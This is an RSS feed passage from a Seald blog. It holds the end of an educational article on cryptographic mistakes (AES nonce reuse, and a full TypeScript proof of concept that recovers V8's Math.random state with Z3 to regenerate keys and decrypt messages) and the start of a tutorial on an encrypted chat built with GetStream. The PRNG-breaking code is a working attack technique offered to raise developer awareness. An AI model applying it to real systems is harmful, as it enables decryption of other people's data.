</code></pre><p>The full code for this example is <a href="https://github.com/seald/snippets-for-articles/tree/main/iv-reuse-ctr?ref=blog.seald.io">available on Github</a>.</p><p>In addition, <strong>a detail sometimes overlooked with AES-CTR,</strong> the nonce must be distinct for each 16-byte block and not for each invocation. If the message exceeds 16 bytes, AES-CTR uses the nonce as a counter (hence the name "CTR" for COUNTER) and increments it for each AES block. <strong>A developer counting AES-CTR invocations rather than AES blocks</strong> would therefore unknowingly reuse nonces as soon as messages exceed 16 bytes 🤯.</p><h3 id="reusing-a-nonce-with-aes-gcm">Reusing a nonce with AES-GCM</h3><p>In the case of AES-GCM, this mode uses AES-CTR for encryption and GMAC for integrity.</p><p>It is therefore <strong>vulnerable to the same attack as described above.</strong> Moreover, if a nonce is reused, the attacker can recover the key derived by AES-GCM which is used to calculate GMAC, and can therefore forge MACs at will<strong>, which breaks the integrity property for all messages encrypted with that key.</strong></p><p><strong>The attack was first described <a href="https://csrc.nist.gov/csrc/media/projects/block-cipher-techniques/documents/bcm/comments/800-38-series-drafts/gcm/joux_comments.pdf?ref=blog.seald.io">by Antoine Joux</a> of the DGA 🛡️.</strong> As its implementation is rather cumbersome, the experienced reader can write a PoC themself , it is the subject of <a href="https://cryptopals.com/sets/8/challenges/64.txt?ref=blog.seald.io">Cryptopals challenge 64</a>.</p><p>Incidentally, two other details about nonces in AES-GCM can cause problems:</p><ul><li><strong>using a 16-byte nonce with AES-GCM is problematic:</strong> 12-byte nonces are used, not 16-byte nonces as in most other AES modes. However, if a 16-byte nonce is used, no error will occur. What happens in this case is that the nonce is reprocessed with a hash to obtain a 12-byte nonce, which is problematic because the guarantee of uniqueness that the developer would have endeavored to have on the 16-byte nonce would not be preserved by hashing, <strong>which then amounts to using a random rather than a unique nonce.</strong></li><li><strong>it is not possible to encrypt more than 64GB of data with AES-GCM:</strong> AES-GCM uses a 4-byte counter to generate nonces for AES-CTR, so it cannot encrypt more than 4 billion blocks (2^32), i.e. 64GB.</li></ul><h3 id="probability-estimation">Probability estimation</h3><p>"But the probability is extremely low". According to <a href="https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf?ref=blog.seald.io">NIST</a>, a nonce can be said to be "unique enough" if the probability of it being reused does not exceed 2^-32, <strong>or one chance in 4 billion.</strong></p><p>In the case of AES-GCM, which uses 12-byte nonces, the number of possible uses of a key is then limited to 6 billion messages (using the <a href="https://en.wikipedia.org/wiki/Birthday_problem?ref=blog.seald.io#Probability_of_a_shared_birthday_(collision)">formula for estimating the birthday problem</a>, whereas with a counter as is normally done, <strong>it's 10^29 uses.</strong></p><p>In the case of AES-CTR, it's a little more complicated because a new nonce is required every 16 bytes, so for each nonce fired we "condemn" this nonce and the following N automatically used by AES-CTR's auto-increment for a message of N * 16 bytes.</p><h3 id="conclusion-1">Conclusion</h3><p>It's always better <strong>to generate AES-GCM, AES-CTR and ChaCha20 nonces deterministically</strong> with a counter rather than randomly, or worse, hardcoded.</p><h2 id="random-number-generator">Random number generator</h2><p>To finish on a sweet note, we can mention the irreplaceable <code>Math.random</code> used for cryptographic purposes, the irreplaceable <code>Math.random</code>, used for cryptographic purposes. The latest are <a href="https://claroty.com/team82/disclosure-dashboard/cve-2023-2729?ref=blog.seald.io">Synology</a> and <a href="https://www.seald.io/blog/cryptography-review-onlyoffice?ref=blog.seald.io">OnlyOffice</a>.</p><h3 id="prng-vs-csprng">PRNG vs CSPRNG</h3><p><strong>A computer is not capable of generating truly random numbers 🧐,</strong> it uses <a href="https://en.wikipedia.org/wiki/Entropy_(computing)?ref=blog.seald.io">entropy</a> produced by the machine and the operating system, then injects it as the seed into a Pseudo-Random Number Generator (PRNG) algorithm. There are two types of PRNG:</p><ul><li><strong>statistical PRNGs,</strong> i.e. the numbers generated by this generator have very good statistical properties, <strong>but are perfectly predictable:</strong> if you know the previous one, you can predict the next one, and vice versa. An example is XorShift128+ used in Chrome, Node, Firefox, Safari to provide the <code>Math.random()</code> function.</li><li>C<strong>ryptographically Safe PRNG (CSPRNG),</strong> i.e. knowledge of the state of the generator or previously generated numbers <strong>must not enable an attacker to predict the next or previous numbers.</strong></li></ul><p>Using a statistical PRNG for cryptographic purposes is therefore catastrophic, yet <code>Math.random()</code> is still used in many projects, which suggests that <strong>their developers consider it sufficiently robust</strong>, perhaps under the impression that by not knowing how to break it themselves, nobody will...</p><p>The article could end with a simple reminder to use a CSPRNG like the one provided by Node's <code><a href="https://nodejs.org/api/crypto.html?ref=blog.seald.io#cryptorandombytessize-callback">crypto</a></code><a href="https://nodejs.org/api/crypto.html?ref=blog.seald.io#cryptorandombytessize-callback"> module</a> or <a href="https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues?ref=blog.seald.io">SubtleCrypto in a browser</a>. But it seems more impactful to build a real PoC of <strong>how to break a cipher made with <code>Math.random()</code>.</strong></p><h3 id="using-a-weak-prng-to-encrypt">Using a weak PRNG to encrypt</h3><p>First of all, it's necessary to build a <code>weakRandomBytes</code> function that produces as many "random" bytes as requested from <code>Math.random</code>.</p><p>The implementation was a little more complex than anticipated: a number from <code>Math.random</code> is not directly an array of bytes, it's a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number?ref=blog.seald.io#static_methods"><code>Number</code></a>, which is nothing more than a 64-bit encoded float. But not all 64-bits are useful:</p><ul><li><strong>52 bits of mantissa:</strong> these are the bits that really count, and are actually taken from the PRNG of <code>Math.random()</code>.</li><li><strong>11 exponent bits:</strong> these encode the power of 2 with which the mantissa bits are multiplied, but for a Math.random(), we're always between 0 and 1, so these bits don't add entropy.</li><li><strong>1 sign bit:</strong> but for a <code>Math.random()</code>, it's always positive, so this bit doesn't add entropy.</li></ul><p><strong>The aim is to concatenate, one after the other, the 52-bit mantissa of each number generated by <code>Math.random()</code></strong>and to stop when enough bytes have been generated. To encode the array of <code>Numbers</code> into an array of bytes, <a href="https://github.com/seald/snippets-for-articles/blob/0d08f5d3f559ad9b9ece2f26fb8a502f47cd167d/weak-prng/prng.ts?ref=blog.seald.io#L16">an encoding function <code>floatsToBytes</code> is used and accessible on the project's GitHub repository</a>, but it adds nothing to the explanation. The rest is pretty straightforward:</p><pre><code class="language-typescript">let randomCache = Buffer.alloc(0)

const addBytesToRandomCache = (size: number) =&gt; {
    // Enough `Math.random` results containing each 52 bits must be produced 
    // to fill out `size` bytes
    const numRandom = Math.ceil(size * 8 / 52)
    const randoms = Array.from(Array(numRandom), Math.random)
    randomCache = Buffer.concat([randomCache, floatsToBytes(randoms)])
}

export const weakRandomBytes = (size: number) =&gt; {
    // Each random generation produces more random bits than necessary, as long as size is not a multiple of 13 (PPCM of 52 and 8), so the excess is stored in a cache and reused the next time it is called
    const toGenerateLength = size - randomCache.length &gt; 0 ? size - randomCache.length : 0
    addBytesToRandomCache(toGenerateLength)
    const result = randomCache.subarray(0, size)
    randomCache = randomCache.subarray(size)
    return result
}
</code></pre><p>Using this <code>weakRandomBytes</code> function, it is therefore possible to encrypt a few messages with AES-CBC and HMAC-SHA256 (see part 1) as follows:</p><pre><code class="language-typescript">const keyEnc: Buffer = weakRandomBytes(32)
const keyMAC: Buffer = weakRandomBytes(32)

const message1: Buffer = Buffer.from('Your password is:Se@ld-i5-great', 'utf8')
const message2: Buffer = Buffer.from('This PRNG works! Amazing, no need to make a fuss around CSPRNG', 'utf8')

const encryptedMessage1 = encryptThenMac(message1, keyEnc, keyMAC, weakRandomBytes)
const encryptedMessage2 = encryptThenMac(message2, keyEnc, keyMAC, weakRandomBytes)
console.log('encryptedMessage1', encryptedMessage1.toString('hex'))
console.log('encryptedMessage2', encryptedMessage2.toString('hex'))
// &gt; 955f8a310ca9dfd6e6eea23005a952b98f4169f3c8e2521f3df96e8fe9a1e3bf4a28550ea311e20710e91c917e0b6f5bc9f69791a5ef27f19d847e72105d318005aa85ed3fd91eede5c86a549ce6a545
// &gt; 0a8aa04aa9896320e29e2dcf12cb06c25ef853de3d49eb3fa28e3b336629e74bd834ca0f66c013e207006c179dd021af8980f9b4014300164e04ce9ab5388243b04bd7195b9dee9a31ccb307bfcf416ed0208c24d6d2a69106ff55937a82398b3a8c2b836e111e2556bd6bf76dae75e0
</code></pre><h3 id="decrypt">Decrypt</h3><p>The aim is to decrypt <code>encryptedMessage1</code> and <code>encryptedMessage2</code>. To do this, we need to find <code>keyEnc</code>, which was generated using V8's PRNG (<code>keyMAC</code> is not useful for decrypting, only for checking integrity).</p><p>Given that we know that the same PRNG was used successively to generate <code>keyEnc</code>, <code>keyMAC</code>, the IV of message 1 and then the IV of message 2, and that we know the IV 1 and IV 2 as they are prefixed to each message (they are the first 16 bytes), <strong>we can use them to find the state of the PRNG at that moment.</strong> Once this state has been found, we simply need to run V8's PRNG in the other direction to go back to the previous state, regenerate the <code>Math.random()</code> draw that generated <code>keyEnc</code>, and <em>voilà </em>🙌.</p><h4 id="d%C3%A9code-the-numbers">Décode the numbers</h4><p>In concrete terms, <strong>we need to start by decoding the two IVs </strong>to find the numbers from <code>Math.random()</code> that are contained within. In essence, this is the inverse function of <code>floatsToBytes</code>, which we'll call <code>bytesToFloat</code>. <a href="https://github.com/seald/snippets-for-articles/blob/0d08f5d3f559ad9b9ece2f26fb8a502f47cd167d/weak-prng/break-prng.ts?ref=blog.seald.io#L31">Its implementation is accessible on the project's GitHub repository</a>, but adds nothing to the explanation.</p><p>If <code>bytesToFloat</code> is called direclty on the concatenation of IV1 and IV2, it won't return the right result. <code>bytesToFloat</code> must be called with a Buffer starting with a complete mantissa. As 64 bytes were generated before IV1 and IV2 (for <code>keyEnc</code> and <code>keyMac</code>), i.e. 512 bits, <strong>we therefore need to truncate the first byte of IV1 to start at the 11th number generated by <code>weakRandomBytes</code> :</strong></p><pre><code class="language-typescript">const iv1 = encryptedMessage1.subarray(0,16)
const iv2 = encryptedMessage2.subarray(0,16)

const bytes = Buffer.concat([iv1, iv2]).subarray(1)

const numbers = bytesToFloats(bytes)
console.log(numbers)
// &gt; [
//     0.42960457575886557,
//     0.6602354429041057,
//     0.5807195083867396,
//     0.17820561686270375
//   ]
</code></pre><h4 id="find-back-the-state-of-xorshift128">Find back the state of XorShift128+</h4><p>This step is probably the most interesting, and is largely inspired by the <a href="https://github.com/PwnFunction/v8-randomness-predictor?ref=blog.seald.io">v8-randomness-predictor</a> project.</p><p>The principle is that, using the formal calculation engine <a href="https://github.com/Z3Prover/z3?ref=blog.seald.io">Z3</a>, equations can be defined, and the solver will look for the solution.</p><p>With a series of consecutive values for <code>Math.random()</code>, <strong>it is possible to establish as many equations as there are values</strong> by writing with Z3 the <a href="https://github.com/v8/v8/blob/a9f802859bc31e57037b7c293ce8008542ca03d8/src/base/utils/random-number-generator.h?ref=blog.seald.io#L119">XorShift128+ algorithm used by V8</a>.</p><pre><code class="language-typescript">export const findXorShiftStates = async (numbers: number[]): Promise&lt;State&gt; =&gt; {
    const {Context} = await init();

    const {Solver, BitVec, interrupt} = Context('main');
    // We define two variables which are the arrival values of XorShift128+
    const targetState0 : BitVec = BitVec.const('target_state0', 64)
    const targetState1 : BitVec = BitVec.const('target_state1', 64)

    let currentState0: BitVec = targetState0
    let currentState1: BitVec = targetState1
    const solver = new Solver();

    // The values in `Math.random` are in fact generated in advance by V8, and as soon as we call `Math.random`, we get a pre-generated result **in reverse order of generation** (in LIFO).
    // this means that when you have consecutive `Math.random` values, you must apply XorShift128+ to obtain the **previous** and not the next one.
    // This is why the numbers here are taken in reverse order
    for (let i = numbers.length - 1; i &gt;= 0 ; i--) {
        let s1 = currentState0
        let s0 = currentState1
        currentState0 = s0
        s1 = s1.xor(s1.shl(23))
        s1 = s1.xor(s1.lshr(17))
        s1 = s1.xor(s0)
        s1 = s1.xor(s0.lshr(26))
        currentState1 = s1
        // The "+1" is simply the reverse operation of what V8 does to extract a number from state0: https://github.com/v8/v8/blob/a9f802859bc31e57037b7c293ce8008542ca03d8/src/base/utils/random-number-generator.h#L111
        const mantissa  = floatToMantissa(numbers[i] + 1)
        // On ajoute ici l'équation au solveur
        solver.add(currentState0.lshr(12).eq(BitVec.val(mantissa, 64)))
    }
    // Check that the solver finds a result
    if (await solver.check() === 'sat') {
        const model = solver.model()

        // we retrieve the values
        const state0Sol = model.get(targetState0) as BitVecNum
        const state0 = state0Sol.value()
        const state1Sol = model.get(targetState1) as BitVecNum
        const state1 = state1Sol.value()

        interrupt()

        // and return this state
        return [state0, state1]
    }

    throw new Error('could not find solution')
}
</code></pre><p>Once the state has been found, the next <code>Math.random</code> can be calculated value simply by executing the equivalent of <a href="https://github.com/v8/v8/blob/a9f802859bc31e57037b7c293ce8008542ca03d8/src/base/utils/random-number-generator.h?ref=blog.seald.io#L111"><code>ToDouble</code></a> whose <a href="https://github.com/seald/snippets-for-articles/blob/0d08f5d3f559ad9b9ece2f26fb8a502f47cd167d/weak-prng/xorshift128.ts?ref=blog.seald.io#L8C1-L8C1">implementation is available on the project's repository on GitHub</a> but adds nothing to the explanation.</p><p>By combining these two functions, we can calculate the next <code>Math.random</code>: <code>0.5602436318742325</code>.</p><h4 id="roll-back-the-prng">Roll back the PRNG</h4><p>From <code>state0</code> and <code>state1</code>, the next states of V8's PRNG can be calculated by applying XorShift128+, and the previous states by applying <a href="https://blog.securityevaluators.com/xorshift128-backward-ff3365dc0c17?ref=blog.seald.io">the inverse function</a>.</p><p>However, let us recall that V8 generates the numbers in advance, and outputs them in reverse, so to obtain the previous value of  <code>Math.random</code>,<strong> the next state of XorShift128+ must be used and not the previous one.</strong></p><p>To do this, here is an implementation of  XorShift128+ in Javascript:</p><pre><code class="language-typescript">export const xorShift128p = ([seState0, seState1]: State): State =&gt; {
    let s1: bigint = seState0
    let s0: bigint = seState1
    // BigInt are of arbitrary size, therefore a bitshift to the left just the bigint longer rather than truncate it. BigInt.asUintN allows to simulate a proper bitshift.
    s1 ^= BigInt.asUintN(64, s1 &lt;&lt; 23n)
    s1 ^=  s1 &gt;&gt; 17n
    s1 ^= s0
    s1 ^= s0 &gt;&gt; 26n
    return [seState1, s1]
}
</code></pre><p>It can then be used to retrieve the previous number by making a loop:</p><pre><code class="language-typescript">let state: State = await findXorShiftStates(numbers)

// 14 times because there are 4 for the IVs, then 10 for the previous 65 bytes.
const previousNumbers = []
for (let i = 0; i&lt; 14; i++) {
    state = xorShift128p(state)
    previousNumbers.unshift(extractNumberFromState(state))
}
</code></pre><h4 id="re-generate-the-key">Re-generate the key</h4><p>Finally, we only need <strong>to encode this numbers array into the corresponding bytes,</strong> slice the key in the right place and decrypt :</p><pre><code class="language-typescript">const predictedRandom = floatsToBytes(previousNumbers).subarray(0, 64)

const keyEnc: Buffer = predictedRandom.subarray(0, 32)
const keyMAC: Buffer = predictedRandom.subarray(32, 64)
    
console.log('message1:', checkMacThenDecrypt(encryptedMessage1, keyEnc, keyMAC).toString('utf8'))
console.log('message2:', checkMacThenDecrypt(encryptedMessage2, keyEnc, keyMAC).toString('utf8'))
// &gt; Your password is:Se@ld-i5-great
// &gt; This PRNG works! Amazing, no need to make a fuss around CSPRNG
</code></pre><p>And <em>voilà</em>.</p><h3 id="conclusion-2">Conclusion</h3><p>This PoC is designed to be broken easily:</p><ul><li><code>floatsToBytes</code> is very easy to reverse, it is made so that there is no reprocessing after the xorshift128+</li><li><strong>the keys are generated consecutively to the IVs,</strong> and this is guaranteed <a href="https://github.com/seald/snippets-for-articles/blob/0d08f5d3f559ad9b9ece2f26fb8a502f47cd167d/weak-prng/prng.ts?ref=blog.seald.io#L80C1-L80C1">with a pre-generation of 128 consecutive random bytes in the PRNG</a>. If the generations weren't perfectly consecutive, it wouldn't be as easy able to roll back the PRNG, and V8 could eventually refresh the PRNG by changing the seed (which is at most every 64 calls to <code>Math.random</code>, which is the size of the cache), <strong>which would make breaking more difficult, but by no means impossible.</strong></li></ul><p>Any "fiddling" with this algorithm would only slow down the writing of a PoC, but not prevent it.</p><p><strong>It is therefore imperative to use a cryptographically secure random generator (CSPRNG) ✅.</strong></p><p>The full project code is <a href="https://github.com/seald/snippets-for-articles/tree/main/weak-prng?ref=blog.seald.io">available on Github</a>.</p><h2 id="conclusion-3">Conclusion</h2><p>This article is not intended to be exhaustive. <strong>The aim is to make developers aware</strong> that using a primitive with a robust name, such as AES, and testing that <code>decrypt</code> works to decrypt <code>encrypt</code> output are not enough.</p><p>At Seald, we suggest that developers don't worry about these low-level issues and <strong>concentrate on what's essential: functionality.</strong></p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2023/10/Visuel-Seald-bonformat-19.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Creating an end-to-end encrypted chat with Stream and Seald 🔒💬]]></title>
            <link>https://www.seald.io/blog/creating-an-end-to-end-encrypted-chat-with-stream-and-seald</link>
            <guid>https://www.seald.io/blog/creating-an-end-to-end-encrypted-chat-with-stream-and-seald</guid>
            <pubDate>Tue, 29 Aug 2023 15:23:25 GMT</pubDate>
            <description><![CDATA[The original post was written by Sander Goossens, developer at In The Pocket, you can find it here: https://dev.inthepocket.com/posts/2022-02-15-creating-an-encrypted-chat-with-getstream-and-seald-io/

Sander Goossens: Recently, a client came to us asking for a chat solution with encryption support. After some research, we quickly came to a combined solution of GetStream.io and Seald.io.

GetStream.io offers real-time chat messaging with a reliable chat infrastructure and feature-rich SDKs. One ]]></description>
            <content:encoded><![CDATA[<p>The original post was written by Sander Goossens, developer at <a href="https://www.inthepocket.com/?ref=blog.seald.io">In The Pocket</a>, you can find it here: <a href="https://dev.inthepocket.com/posts/2022-02-15-creating-an-encrypted-chat-with-getstream-and-seald-io/?ref=blog.seald.io">https://dev.inthepocket.com/posts/2022-02-15-creating-an-encrypted-chat-with-getstream-and-seald-io/</a></p><p><strong>Sander Goossens</strong>: Recently, a client came to us asking for a chat solution with encryption support. After some research, we quickly came to a combined solution of <a href="https://getstream.io/?ref=blog.seald.io"><code>GetStream.io</code></a> and <a href="https://www.seald.io/?ref=blog.seald.io"><code>Seald.io</code></a>.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/08/image-3.png" class="kg-image" alt loading="lazy" width="1654" height="1239" srcset="https://blog.seald.io/content/images/size/w600/2023/08/image-3.png 600w, https://blog.seald.io/content/images/size/w1000/2023/08/image-3.png 1000w, https://blog.seald.io/content/images/size/w1600/2023/08/image-3.png 1600w, https://blog.seald.io/content/images/2023/08/image-3.png 1654w" sizes="(min-width: 720px) 720px"></figure><p><code>GetStream.io</code> offers real-time chat messaging with a reliable chat infrastructure and feature-rich SDKs. One of the main selling points of GetStream.io is the availability of UI components out of the box. With support for React Native, React, Android, Flutter, iOS/Swift,... you can quickly create a chat application without the hassle of creating every UI interaction yourself.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/08/image-1.png" class="kg-image" alt loading="lazy" width="2000" height="1147" srcset="https://blog.seald.io/content/images/size/w600/2023/08/image-1.png 600w, https://blog.seald.io/content/images/size/w1000/2023/08/image-1.png 1000w, https://blog.seald.io/content/images/size/w1600/2023/08/image-1.png 1600w, https://blog.seald.io/content/images/2023/08/image-1.png 2379w" sizes="(min-width: 720px) 720px"></figure><p><code>Seald.io</code> offers end-to-end encryption in Europe. The solution benefits from <a href="https://www.ssi.gouv.fr/entreprise/certification_cspn/seald-sdk-goatee-version-2-1/?ref=blog.seald.io">a security visa (CSPN) issued by the ANSSI</a>, which ensures you a robust security model. CSPN is the certification of Seald's level of robustness, based on compliance analysis and advanced penetration testing.<br><br>End-to-end encryption is the most secure technology available, but it is also the most complex and time-consuming to implement (key management, user account recovery, etc.). To simplify its adoption, Seald has developed an SDK associated with an API, which allows you to add end-to-end encryption to your applications in a few lines of code, without any prior knowledge of cryptography.</p><p><em>Because of the APIs and components SDKs made available by Stream, we can hook the end-to-end encryption of Seald into it.</em></p><p>Enough introduction, let's see what we are going to build and how we approached this!</p><hr><h2 id="goals">Goals</h2><hr><ul><li>Chat messages should only be readable by the members of a conversation</li><li>Chat messages should not be readable in the Stream admin dashboard</li></ul><hr><h2 id="services">Services</h2><hr><ul><li><code>Messaging API</code> custom nodeJS backend to handle all GetStream and Seald server side functionality. Has a postgreSQL database where we store seald users.</li><li><code>Users API</code> custom nodeJS backend to handle everything concerning users.</li></ul><figure class="kg-card kg-image-card"><img src="https://c.tenor.com/4eF0XKHqDB4AAAAC/meeting-bored.gif" class="kg-image" alt loading="lazy"></figure><hr><h2 id="now-to-the-actual-implementation">Now to the actual implementation</h2><hr><p>Let's start our application with a <code>registration</code> screen where the user can enter their details. When a user successfully registers, we can authenticate him/her with our authentication provider.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/08/image-14.png" class="kg-image" alt loading="lazy" width="450" height="974"></figure><p><br><em>The authentication providers returns with a JWT code that can be used across our full application.</em></p><pre><code class="language-json">{  "accessToken":  "eyJ2ZXIiOiIxLjAiLCJraWQiOiIzYWMxMTjYwZi0yMzhm..."}
</code></pre><p>We would like to connect the user to the GetStream servers, thus we need to fetch a JWT token from GetStream. An endpoint in our Messaging API will handle this. Use the user ID from your authentication provider to create a token at GetStream.</p><pre><code class="language-typescript">import { StreamChat } from 'stream-chat';
const serverClient = StreamChat.getInstance(STREAM_KEY, STREAM_SECRET);

export async function getMessagingToken(id: string) {
  return serverClient.createToken(id);
}</code></pre><p>We will store this <code>messaging token</code> inside our react-native application. <em>We are using <a href="https://www.npmjs.com/package/zustand?ref=blog.seald.io"><code>Zustand</code></a> ❤️ for this.</em> Using this token, we are now able to connect a user to our GetStream client.</p><figure class="kg-card kg-code-card"><pre><code class="language-typescript">const client = StreamChat.getInstance(config.stream.apiKey);

 const init = useCallback(async () =&gt; {
    try {
      // First disconnect any user that was still connected.
      await client.disconnectUser();
      await client.connectUser(
        {
          id: connectedUserId,
        },
        // Use the JWT token received from our messaging API endpoint.
        messagingToken.accessToken,
      );

      logger.verbose('ChatClient initialized');
    } catch (error) {
      logException(error);
    }
  }, [messagingToken, connectedUserId, client]);</code></pre><figcaption>We call this init function inside our ChatProvider that's wrapping our screens.</figcaption></figure><p>Let's continue to the next step in our onboarding process. We now need to initialise our <code>2FA</code> with Seald. We created a screen where the user can enter his/her <strong>phone number</strong>.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/08/image-4.png" class="kg-image" alt loading="lazy" width="450" height="974"></figure><p><br>When a user enters their phone number, we need to send a challenge that the user can enter on the following screen. We created a custom hook <code>useTwoFactorAuth</code> to handle the setup of 2FA.</p><p>For doing actual API calls, we use react-query. I will not deep dive into every custom hook, the 3 hooks below are fetching some data with react-query from our API endpoints.</p><pre><code class="language-typescript">const { signup, isLoading } = useSignupSeald();
const { fetchMe, isLoading: isLoadingFetchMe } = useMeSeald();
const { sendChallenge, isLoading: isLoadingSendChallenge } = useSendChallenge();</code></pre><p>When a user does not yet exist, we call the <code>signup</code> endpoint. This endpoint will make sure that the user is saved in our postgreSQL database and that a <code>TwoManRuleKey</code> is created and stored in our database. To know more about the protection with the 2-man-rule, you can check the <a href="https://docs.seald.io/en/sdk/example/2-man-rule.html?ref=blog.seald.io#explanation"><code>docs</code></a>.</p><pre><code class="language-typescript">  const setup2FA = async (phoneNumber: string) =&gt; {
    let user: OnboardedUser;

    try {
      // The messaging API will be called to fetch an existing seald user, this is needed because the login will also execute this setup2FA hook.
      user = await fetchMe();
      // It's possible that the user early killed the application while the signup was still busy. If we were not able to
      // store an activation key, we need to signup the user again to receive one needed for the initiation of the identity.
      if (!user.activationKey) {
        user = await signup();
      }
      // eslint-disable-next-line @typescript-eslint/no-explicit-any
    } catch (error: any) {
      // User does not exist
      if (error?.error?.type === MessagingApiErrorType.USER_NOT_FOUND) {
        user = await signup();
      }
    }
  };</code></pre><p>For seald to be able to work properly, we need to generate a user licence token in our backend. See <code><a href="https://docs.seald.io/en/sdk/example/user-licence-token.html?ref=blog.seald.io#licence-token-generation-function">docs</a></code> for more information on how to do this. Whenever the endpoint to fetch the user or to signup the user is called, a licence token will be generated and returned by our API.</p><p>When an existing user returns, the <code>fetchMe</code> endpoint will return the following response:</p><pre><code class="language-json">{
   "id":"0015r00000OxGgIAAV",
   "isEnrolled":true,
   "sealdId":"TESTING_0015r00000OxGgIAAV",
   "twoManRuleKey":"VCl2Z0U+LYZ6Fq2rjm40PFrYWlrLDIsSRgGufKo9wJGlxDAU+5mUwji21g2G86GzN3dLKsrdWmYbPZn0QTGa9g=="
}</code></pre><p>When a new user is created during signup, the response from the <code>signup</code> endpoint will be:</p><pre><code class="language-json">{
   "activationKey":"dbbb72c5-b2c5-47db-ad4c-5dfec91918df:5b1f82d5f3cb073c0103a4aa55bdd900777a4b3b4b89b99d906af533f3358a6e:7f24176eff547227984710ac5b2d858b3a78af509225f5b6cdc41197254dd81a02b16d893b176ffd70c952b87c4ba95a1f98b9f0bc3d0926f117e832fa45a9f3",
   "id":"0015r00000Q0DQcAAN",
   "isEnrolled":false,
   "sealdId":"TESTING_0015r00000Q0DQcAAN",
   "twoManRuleKey":"miSTd8ad7FrtvNSMee+uLDLgj+tYCPf9iENm3CzsytILSw5YuMI1TEOtEF7sU46f4qa6KVF+wb3tU1cdbLzTBA=="
}</code></pre><p>Now that our user is created, we can send the challenge to the user and initiate the seald identity with the activation key.</p><pre><code class="language-typescript"> if (user) {
      // The activation key is the user licence token from seald.
      const { sealdId, activationKey } = user;

      // Create session in seald, send challenge to user.
      await sendChallenge({ phoneNumber });

      if (sealdId &amp;&amp; activationKey) {
        await seald.initiateIdentity(sealdId, activationKey);
      }
    }</code></pre><p>The sendChallenge will call our Messaging API endpoint that implements the sending of a challenge according to the <a href="https://docs.seald.io/en/sdk/api-ssks/?ref=blog.seald.io#headers-of-the-requests">specifications</a>. Seald will create a "session" and this session will be required in the save or retrieve of our seald identity.</p><pre><code class="language-json">{
   "mustAuthenticate": true,
   "twoManRuleKey":"miSTd8ad7FrtvNSMee+uLDLgj+tYCPf9iENm3CzsytILSw5YuMI1TEOtEF7sU46f4qa6KVF+wb3tU1cdbLzTBA==",
   "twoManRuleSessionId":"c1c2b55f-f119-4a88-8a0d-e95512e3c667"
}</code></pre><p><br>We can now continue to our last screen for entering the challenge.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/08/image-15.png" class="kg-image" alt loading="lazy" width="450" height="974"></figure><p><br>A custom hook will be called when the challenge was entered:</p><pre><code class="language-typescript">export const useSaveOrRetrieveSealdIdentity = () =&gt; {
  const { updateUser } = useUpdateUser();
  const { enroll } = useEnroll();

  const sealdId = useStore(state =&gt; state.sealdId);
  const twoManRuleSessionId = useStore(state =&gt; state.twoManRuleSessionId);
  const twoManRuleKey = useStore(state =&gt; state.twoManRuleKey);
  const mustAuthenticate = useStore(state =&gt; state.mustAuthenticate);
  const userEnrolled = useStore(state =&gt; state.isEnrolled);

  return {
    saveOrRetrieveIdentity: async (phoneNumber: string, challenge: string) =&gt; {
      // Store phone number for later login purposes.
      await updateUser({ c_recoveryPhoneNumber: phoneNumber });

      // If user was already enrolled, the identity already exists so we need to retrieve it.
      // SSKS will be called, and the identity will be retrieved.
      if (userEnrolled) {
        await seald.retrieveIdentity(
          sealdId,
          twoManRuleSessionId,
          twoManRuleKey,
          challenge,
          phoneNumber,
        );
      } else {
        await seald.saveIdentity(
          phoneNumber,
          twoManRuleKey,
          sealdId,
          twoManRuleSessionId,
          mustAuthenticate,
          challenge,
        );

        if (!userEnrolled) {
          enroll();
        }
      }
    },
  };
};</code></pre><p>We now have established a secure identity and can use this identity to create secure sessions between two users 🙌</p><figure class="kg-card kg-image-card"><img src="https://c.tenor.com/HJ0iSKwIG28AAAAC/yes-baby.gif" class="kg-image" alt loading="lazy"></figure><hr><h2 id="creating-a-secure-chat">Creating a secure chat</h2><hr><p>GetStream.io offers us very fine UI components that easily integrate in our react-native application. We have modified some components of GetStream, but in this example I will only show the necessary things.</p><p>When creating a screen for the chat, you can start with a basis implementation like this:</p><pre><code class="language-tsx">  import { Channel, Chat } from 'stream-chat-react-native';

  const client = StreamChat.getInstance(config.stream.apiKey);
  const channel = client.channel("messaging", id, ["member1", "member2"]);

  return (
    &lt;Chat client={client}&gt;
        &lt;Channel channel={channel} /&gt; // Channel you created between two members.
    &lt;/Chat&gt;
  );
</code></pre><p><br>Without encrypting/decrypting any messages, the chat will look like this:</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/08/image-16.png" class="kg-image" alt loading="lazy" width="450" height="974"></figure><p><br>But we want to be able to send messages encrypted. Therefore, we need to override the <code>doSendMessageRequest</code> method. As you can see, we encrypt our message using an encryption session. This encryption session needs to be created when creating your channel.</p><p>When an encryption session between two users is created, we store the session ID on our channel metadata in getstream, so it can be reused to fetch an encryption session.</p><pre><code class="language-tsx">const channel = client.channel("messaging", id, ["member1", "member2"]);
  await channel.watch();

  let session: EncryptionSession;

  if (channel.data?.session_id) {
    session = await seald.retrieveEncryptionSession(channel.data.session_id);
  } else {
    session = await seald.createEncryptionSession(members.map(member =&gt; member.sealdId));
    await channel.updatePartial({ set: { session_id: session.sessionId } });
  }

  const sendMessage = async (_channelId: string, message: Message) =&gt; {
    const encryptedText = await encryptionSession.encryptMessage(message.text || '');
    return channel.sendMessage({ ...message, text: encryptedText });
  };
  
  return (
    &lt;Chat
      client={client}
    &gt;
        &lt;Channel
          channel={channel}
          doSendMessageRequest={sendMessage}
        /&gt;
    &lt;/Chat&gt;
